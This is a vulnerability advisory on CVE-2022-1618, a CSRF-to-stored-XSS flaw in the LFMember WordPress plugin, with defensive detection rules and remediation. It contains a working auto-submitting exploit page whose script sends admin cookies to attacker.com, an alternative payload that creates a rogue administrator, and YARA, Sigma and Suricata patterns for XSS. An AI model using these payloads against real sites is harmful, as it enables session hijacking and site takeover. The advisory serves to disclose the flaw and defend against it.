CVE-2022-1618

Executive Summary

CVE-2022-1618 is a Cross-Site Request Forgery (CSRF) vulnerability in the Coru LFMember WordPress plugin (versions through 1.0.2). This plugin is part of the WordPress ecosystem and is used to manage game-related content. The vulnerability allows an unauthenticated attacker to trick a logged-in administrator into adding a new game entry that contains stored Cross-Site Scripting (XSS) payloads. The root cause is the absence of a CSRF nonce check when processing the "add new game" action, combined with insufficient input sanitization and output escaping in the plugin's settings. Successful exploitation can lead to persistent XSS, enabling the attacker to execute arbitrary JavaScript in the context of the admin panel, potentially leading to session hijacking, privilege escalation, or further compromise of the WordPress site.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Since the vendor (Coru) has not released a patch, the plugin remains a supply chain risk for any site using it. Administrators should consider removing the plugin entirely or implementing a Web Application Firewall (WAF) rule to block malicious requests.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network – the attack is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): None – the attacker does not need to be authenticated.
• User Interaction (UI): Required – the victim (admin) must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – the vulnerable component and the impacted component are the same.
• Confidentiality (C): Low – limited data exposure possible via XSS.
• Integrity (I): Low – attacker can inject malicious content.
• Availability (A): None – no impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for persistent XSS in the WordPress admin panel makes this a significant threat for targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the lfmember plugin's game management functionality. The plugin likely uses a function like add_game() that is hooked to an admin action (e.g., admin_post_add_game). This function processes form submissions to add new games but fails to verify a CSRF nonce. Additionally, the plugin does not sanitize the game title or description fields using WordPress functions like sanitize_text_field() or esc_html(), and does not escape output when displaying the game data in the admin panel.

Attack Flow:

1. The attacker crafts a malicious HTML page that automatically submits a form to the WordPress admin's admin-post.php endpoint with the action set to add_game.
2. The form includes fields for game title and description containing XSS payloads, e.g., <script>alert('XSS')</script>.
3. The attacker lures a logged-in WordPress administrator to visit this crafted page.
4. The admin's browser sends the request, and because there is no CSRF nonce check, the plugin processes it.
5. The game is added to the database with the malicious payload.
6. When the admin (or any other user) views the game list in the admin panel, the payload executes, leading to stored XSS.

Vulnerable vs. Patched Code

Vulnerable Code (lfmember plugin, version 1.0.2):

// In admin.php or similar
function lfmember_add_game() {
    global $wpdb;
    $table_name = $wpdb->prefix . 'lfmember_games';
    $wpdb->insert(
        $table_name,
        array(
            'title' => $_POST['game_title'],  // No sanitization
            'description' => $_POST['game_description'] // No sanitization
        )
    );
    wp_redirect(admin_url('admin.php?page=lfmember-games'));
}
add_action('admin_post_add_game', 'lfmember_add_game');

Patched Code (Hypothetical fix):

function lfmember_add_game() {
    // Verify CSRF nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'add_game_nonce')) {
        wp_die('Security check failed.');
    }
    
    global $wpdb;
    $table_name = $wpdb->prefix . 'lfmember_games';
    
    // Sanitize inputs
    $title = sanitize_text_field($_POST['game_title']);
    $description = sanitize_textarea_field($_POST['game_description']);
    
    $wpdb->insert(
        $table_name,
        array(
            'title' => $title,
            'description' => $description
        )
    );
    
    // Escape output when displaying (in other functions)
    // e.g., echo esc_html($game->title);
    
    wp_redirect(admin_url('admin.php?page=lfmember-games'));
}
add_action('admin_post_add_game', 'lfmember_add_game');

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• A WordPress site with the LFMember plugin (<=1.0.2) installed and activated.
• A logged-in administrator who can be tricked into visiting a malicious page.

Exploit Steps:

1. Create an HTML file (e.g., exploit.html) with the following content:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="add_game">
    <input type="hidden" name="game_title" value="Malicious Game">
    <input type="hidden" name="game_description" value="<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

2. Host this file on an attacker-controlled server.
3. Send the link to the target administrator (e.g., via email or social engineering).
4. Once the admin visits the link, the form auto-submits, adding a game with the XSS payload.
5. When the admin views the game list, the JavaScript executes, sending the admin's cookies to the attacker's server.

Alternative Payload: Use a payload to create a new admin user:

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/user-new.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=createuser&_wpnonce=<valid_nonce>&user_login=attacker&email=attacker@example.com&pass1=password&pass2=password&role=administrator');
</script>

Note: This requires the attacker to first obtain a valid nonce for user creation, which may be possible via another XSS or information disclosure.

Blue Team (Defender) Perspective

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-post.php with action=add_game from unexpected referrers.
• Look for game entries containing <script> tags or other HTML in the database.
• Use a Web Application Firewall (WAF) to block requests containing JavaScript in game fields.

Honeypot:

• Create a fake admin user with low privileges and monitor for any game additions from that user.

Lab Setup:

1. Install WordPress locally (e.g., using XAMPP or Docker).
2. Download and install the LFMember plugin (version 1.0.2) from the WordPress plugin repository or a mirror.
3. Log in as an administrator.
4. Create the exploit HTML file and open it in a browser while logged in as admin.
5. Observe the new game entry in the admin panel and the XSS execution.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /wp-admin/admin-post.php with action=add_game and suspicious parameters (e.g., game_title or game_description containing <script>).
  • Outbound connections to attacker-controlled domains from the WordPress admin panel (e.g., attacker.com/steal?cookie=...).

• Host:

  • Database entries in wp_lfmember_games table containing HTML or JavaScript in title or description fields.
  • Unexpected admin users created (if the XSS payload escalates privileges).
  • Modified .htaccess or wp-config.php files (if the attacker gains further access).

• File:

  • Presence of the LFMember plugin directory (/wp-content/plugins/lfmember/).

Detection Engineering

YARA Rule

rule CVE_2022_1618_LFMember_CSRF_XSS {
    meta:
        description = "Detects CSRF and XSS attempts targeting the LFMember WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-1618"
    strings:
        $csrf_action = "action=add_game"
        $xss_payload1 = /<script[^>]*>.*<\/script>/i
        $xss_payload2 = /on\w+\s*=\s*['\"].*['\"]/i
    condition:
        $csrf_action and ($xss_payload1 or $xss_payload2)
}

Sigma Rule

title: CVE-2022-1618 - LFMember Plugin CSRF to Stored XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to admin-post.php with action=add_game containing potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=add_game'
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate game additions with benign HTML (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-1618 - LFMember Plugin CSRF to Stored XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-post.php"; http.client_body; content:"action=add_game"; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the LFMember plugin from all WordPress installations.
2. Scan for compromise: Check the wp_lfmember_games table for any suspicious entries and remove them.
3. Change admin passwords: Force all administrators to change their passwords.
4. Review user accounts: Look for any unauthorized admin accounts created.

Long-term Mitigation:

• Web Application Firewall (WAF): Deploy a WAF rule to block POST requests to /wp-admin/admin-post.php with action=add_game unless they contain a valid nonce.
• Input Validation: Implement server-side validation to reject any input containing HTML tags in game fields.
• Monitor for Updates: Since the vendor is unresponsive, monitor for any unofficial patches or forks of the plugin.

Code Fix (if you must keep the plugin):

• Add CSRF nonce verification using wp_nonce_field() and check_admin_referer().
• Sanitize all inputs using sanitize_text_field() and sanitize_textarea_field().
• Escape all outputs using esc_html() or wp_kses_post() when displaying game data.

Valters IT
DevSecOps & Cyber Threat Intelligence